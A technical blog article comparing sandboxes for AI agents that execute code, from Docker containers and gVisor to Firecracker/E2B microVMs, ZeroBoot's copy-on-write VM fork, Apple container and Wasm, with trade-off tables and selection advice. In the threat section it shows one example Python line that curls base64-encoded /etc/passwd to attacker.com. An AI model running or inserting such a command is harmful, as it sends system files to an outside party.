AI Agent Code Execution Sandboxes: Isolation from Containers to MicroVMs

• 19 March, 2026

AI Agent Code Execution Sandboxes: Isolation from Containers to MicroVMs

• Notes

TL;DR

AI Agents need isolation to execute code, but isolation comes with overhead. This article breaks down the design principles and trade-offs of six sandbox approaches — containers, gVisor, Firecracker, ZeroBoot, Apple container, and Wasm — to help you find the right fit for your use case.

I. Introduction: Booting a Linux VM in 0.79ms

Just a few days ago, a project called ZeroBoot appeared on the Hacker News front page.

It claims to boot a full Linux virtual machine in 0.79ms (p50). The comment section exploded — how is that even possible? Firecracker, a microVM purpose-built for serverless workloads, still takes over 150ms for a cold start. What does 0.79ms mean? It means you could cold-start 1,000 mutually isolated VMs within a single second.

This isn’t magic — it’s clever engineering: Copy-on-Write KVM fork. Impressive, right?

This puts the core tension of AI Agent sandboxing right on the table: Agents execute code, which requires isolation; isolation means overhead. ZeroBoot offers one extreme answer.

This article starts from there. Join me in satisfying some curiosity as we dissect five mainstream sandbox approaches and their underlying trade-offs. If anything is unclear or inaccurate, feel free to point it out.

II. Why Do Agents Need Sandboxes for Code Execution?

Tool Calls vs. Code Execution

Traditional Agents call tools — search, query a database, send an email — behaviors that are enumerable and auditable. Code execution is different. It is Turing-complete: once an Agent can execute arbitrary code, it can do everything a programmer sitting at a terminal can do.

A seemingly harmless task like “help me analyze this CSV” might have the Agent generate code containing:

import os
os.system("curl https://attacker.com/$(cat /etc/passwd | base64)")

Three Core Threat Categories

• Prompt injection escape: Malicious content tricks the Agent into executing attacker-controlled code, reading credentials, or making outbound connections
• Resource abuse: Infinite loops, fork bombs, disk exhaustion — capable of bringing down the entire host machine
• Lateral movement: Reading $AWS_SECRET_ACCESS_KEY, accessing data belonging to other users on the same host

This is precisely why Manus, Perplexity, and others choose microVMs over containers — different threat models lead to different acceptable trade-offs in isolation cost.

III. From Light to Heavy: Comparing Five Sandbox Approaches

Before diving into each approach, let’s establish an overarching framework. Sandbox isolation exists on a continuous spectrum — from lightweight to heavyweight, with isolation strength and resource overhead growing in tandem:

Key metrics comparison:

| Approach | Isolation Mechanism | Startup Latency | Memory/Sandbox | Typical Users | | — -| — -| — -| — -| — -| | Container (Docker) | namespace + cgroup | ~500ms | Tens of MB | PatchPal, local dev | | gVisor | User-space Linux kernel | ~100ms | Higher | Google Cloud Run | | Firecracker/E2B | Separate kernel microVM | ~150ms | Default 1GB (configurable 512MB–8GB) | Manus, Perplexity | | ZeroBoot | CoW KVM fork | 0.79ms | 265KB | High-concurrency workloads | | Apple container | Per-container VM | Seconds | Higher | macOS local dev | | Wasm (Edge.js) | Wasm linear memory model | Milliseconds | Minimal | JS/Node Agents |

Newer is not always better — the best fit is what matters. Threat level, performance requirements, and platform constraints collectively determine the right choice. The sections below dissect each approach in turn.

IV. Container Approach: PatchPal’s Implementation

What Is PatchPal?

PatchPal is a locally deployable AI code-repair Agent that supports multiple model backends — OpenAI, Anthropic, local Ollama, and more — and uses Docker or Podman containers to isolate code execution environments.

Core Design

PatchPal’s sandbox logic is concentrated in sandbox.py, with the following workflow:

A few key decisions:

• Stateless: --rm destroys the container immediately after execution, leaving no residual state
• Network isolation: --network none by default; --host-network is provided for local Ollama access
• Working directory mount: The current directory is mounted as /workspace; no other host paths are accessible
• Environment variable allowlist: Only variables prefixed with PATCHPAL_*, OPENAI_*, and ANTHROPIC_* are forwarded, preventing leakage of sensitive host configuration

The Fundamental Limitation of Containers

Containers isolate the view, not the kernel itself. All containers share the same Linux kernel on the host:

Namespaces separate each process’s views of the filesystem, network, and PID space — but the kernel itself is shared. Historically, multiple kernel vulnerabilities have allowed container escapes to the host (e.g., CVE-2019–5736 runc escape).

For low-threat scenarios, containers are sufficient and straightforward. But for multi-tenant, publicly exposed Agent services, the shared kernel represents a fundamental risk.

V. MicroVM: Firecracker + E2B

Firecracker’s Design Philosophy

Firecracker is a microVM designed by AWS for Lambda and Fargate, built around one core principle: minimal attack surface.

Traditional VMs (QEMU) simulate complete hardware — USB controllers, PCI buses, sound cards, graphics cards — and each emulated device is a potential attack surface. Firecracker takes an aggressive approach, retaining only the devices necessary to run Linux containers:

| | Firecracker | QEMU | | — -| — -| — -| | Code size | ~100K lines | ~2M lines | | Virtual devices | Only 6 (virtio-net/blk/balloon/vsock + serial port + keyboard controller) | Full hardware emulation | | Boot time | <125ms | Seconds | | Per-VM memory overhead | ~5MB | Higher |

More importantly: each microVM has its own independent Linux kernel. Two sandboxes share no kernel code paths whatsoever, fundamentally eliminating the possibility of kernel vulnerabilities propagating laterally.

E2B’s Architecture

E2B builds a full AI sandbox cloud service on top of Firecracker, used in production by Manus, Perplexity, and others:

The key to fast startup is pre-warmed snapshots: a pool of VMs is started ahead of time, brought to a ready state, and a memory snapshot is taken. Incoming requests restore directly from the snapshot rather than booting a kernel from scratch, reducing cold-start time to ~150ms.

In Manus’s architecture, each Agent task gets a full E2B sandbox VM containing Chromium, a terminal, a filesystem, and 27 other tools — one sandbox is a complete virtual computer.

The Cost of MicroVMs

Stronger isolation means higher overhead. Each Firecracker VM requires its own kernel image and memory space (E2B allocates 1GB RAM per sandbox by default), which becomes a significant cost at high concurrency. This is exactly the problem ZeroBoot sets out to solve.

VI. ZeroBoot: Anatomy of the CoW Magic

Copy-on-Write: Why It’s Faster Than Snapshots

E2B’s pre-warmed snapshots bring startup time down to ~150ms, but the bottleneck remains memory copying: restoring a VM requires writing snapshot data into a new address space, and copying even a 256MB image takes measurable time.

ZeroBoot’s insight is that most of this copying is unnecessary. The Python interpreter, numpy code segments, standard libraries — these are identical across all sandboxes. ZeroBoot uses mmap(MAP_PRIVATE) to address this: reads access the original snapshot pages directly (zero-copy), while writes trigger CoW allocation of new pages. The result is that sandbox startup requires almost no memory copying at all.

Applying this mechanism to KVM VMs is the heart of ZeroBoot:

The Fork Engine’s Five-Step Flow

ZeroBoot’s fork engine (src/vmm/kvm.rs) executes five steps each time a new sandbox is created:

Step ④ has a strict ordering requirement — XSAVE (extended processor state, including floating-point and SIMD registers) must be restored before the base registers, otherwise state will be overwritten; the final MP_STATE must be set to RUNNABLE, or the vCPU will stall in HLT and the VM will fail to start.

Performance Numbers

| Metric | ZeroBoot | E2B | Daytona | | — -| — -| — -| — -| | Spawn p50 | 0.79ms | ~150ms | ~27ms | | Spawn p99 | 1.74ms | ~300ms | ~90ms | | Memory/sandbox | ~265KB | ~128MB | ~50MB | | 1,000 concurrent forks | 815ms | — | — |

Trade-offs and Current Status

Memory amplification: The 265KB figure reflects the cost before CoW pages are triggered — it represents shared snapshot pages. The more a sandbox writes, the closer its actual physical memory footprint gets to a full VM (~256MB). For write-intensive workloads, the memory advantage shrinks considerably.

Platform constraints: Depends on KVM; Linux-only, and requires bare-metal or cloud instances with nested virtualization support.

Project maturity: Working prototype — the benchmarks are real, but the project is explicitly labeled as “not production-hardened.”

VII. Apple container: A Third Form Between Container and VM

An Interesting Naming Paradox

Apple container is a fascinating case — it’s called a container, but it’s backed by a VM.

It is based on macOS’s Virtualization.framework, with each container running inside an independent Linux virtual machine. Yet it is fully compatible with the OCI image specification: images pulled with docker pull work directly, and the command-line style mirrors Docker CLI.

This is a deliberate design trade-off: VM-level isolation strength delivered through a container-level user experience.

The Fundamental Difference from Docker Desktop

Twenty containers in Docker Desktop means 1 VM + 20 processes; in Apple container it means 20 independent VMs. Isolation granularity is elevated from the container level to the VM level.

Comparison with Kata Containers

Apple container is not the only project taking the “VM per container” approach — Kata Containers proposed this idea earlier. The two have very different target profiles:

| | Kata Containers | Apple container | | — -| — -| — -| | Target use case | Cloud-native multi-tenancy | macOS local development | | Virtualization backend | 5 options: QEMU / Firecracker / Cloud-Hypervisor / etc. | Virtualization.framework | | Platform | Linux (any hardware) | macOS only (Apple Silicon) | | Rosetta 2 support | None | Can run x86 images natively |

Implications for Agent Sandboxing

For Mac developers running Agents locally, Apple container offers an attractive option: stronger isolation than Docker Desktop, free, officially maintained, and requiring no third-party virtualization tools.

The drawbacks are equally apparent: each VM holds memory exclusively and doesn’t release it cleanly (a limitation of Virtualization.framework's memory reclamation mechanism, not fully resolved as of the latest version); the project is still at v0.x, with stability questions remaining.

For architectural details on Apple container, see my earlier series: Apple Releases Containerization Framework / Hands-On Walkthrough / Architecture Deep Dive / Seven Months of Evolution

VIII. The Wasm Path: A Sandbox Without an OS

If an Agent only needs to execute JavaScript or TypeScript, there’s a much lighter-weight path — running inside a WebAssembly sandbox, with no dependency on containers or virtual machines whatsoever.

Edge.js (Wasmer) uses a hybrid architecture: the JS engine (V8/JSC/QuickJS) runs natively for performance, while OS calls and native modules are sandboxed through WASIX (Wasm POSIX extensions). In --safe mode, all system calls go through the WASIX layer and require explicit authorization. Earlier projects attempted to compile the entire Node.js runtime (including V8) to Wasm, but V8 running in interpreter mode inside Wasm incurred unacceptable performance penalties — Edge.js explicitly abandoned that path. The isolation mechanism comes from Wasm's own memory model: a Wasm program runs within a linear memory region and cannot directly access any address outside it. The sandbox boundary is enforced by the language specification itself — no namespaces, no hypervisor required.

Practical outcomes:

• Millisecond startup times and minimal memory overhead
• Full Node.js semantic compatibility — existing JS Agents and MCP Servers can migrate directly
• No Docker or virtualization tooling required

The limitations are equally clear: only suitable for JS/TS workloads; I/O-intensive scenarios carry a performance penalty; there is no equivalent solution for Python, Go, or other languages today.

IX. How to Choose?

There is no universal answer. Three dimensions drive the decision:

Rule Out Platform Constraints First

Need to execute code?
├── JS/TS only → Wasm/Edge.js (lightest; no virtualization needed)
├── macOS local dev → Apple container (native, free, VM-level isolation)
└── Linux server → see below

Threat Level × Performance Requirements

Once you’ve established Linux as the platform, threat level and concurrency requirements together determine the approach:

| | Low Concurrency | High Concurrency | | — -| — -| — -| | Low threat (internal tools, trusted users) | Docker containers | Docker containers + resource limits | | Medium threat (multi-tenant, untrusted input) | Firecracker/E2B | Firecracker/E2B + warm pool | | High threat + extreme concurrency | Firecracker/E2B | ZeroBoot (cutting-edge, not production-ready) |

A Practical Decision Heuristic

Ask yourself one question: if this sandbox is compromised, what’s the worst-case outcome?

• Impact limited to the current task only → containers are sufficient
• Could affect other users’ data on the same host → microVM required
• Publicly exposed, with motivated attackers → microVM, and seriously evaluate ZeroBoot’s maturity

X. Conclusion

From Docker containers to Firecracker microVMs, to ZeroBoot’s CoW fork — every step in this evolution is a different answer to the same underlying tension: how to find a new equilibrium between isolation strength and startup overhead.

ZeroBoot’s 0.79ms is a signal worth watching. When VM startup latency is compressed to this magnitude, the gap between microVMs and containers on the “startup overhead” dimension nearly disappears, leaving only the isolation strength differential — and microVMs have a decisive advantage there. If ZeroBoot’s approach is validated and matures into production readiness, the long-standing trade-off of “containers for performance, VMs for security” may be fundamentally rewritten.

But the more profound shift is this: AI Agents executing code at scale is turning sandboxing from a “developer tool” into an “infrastructure problem.” The cost of choosing the wrong isolation approach is no longer a performance penalty — it’s a security incident.

The technical evolution in this space is far from over.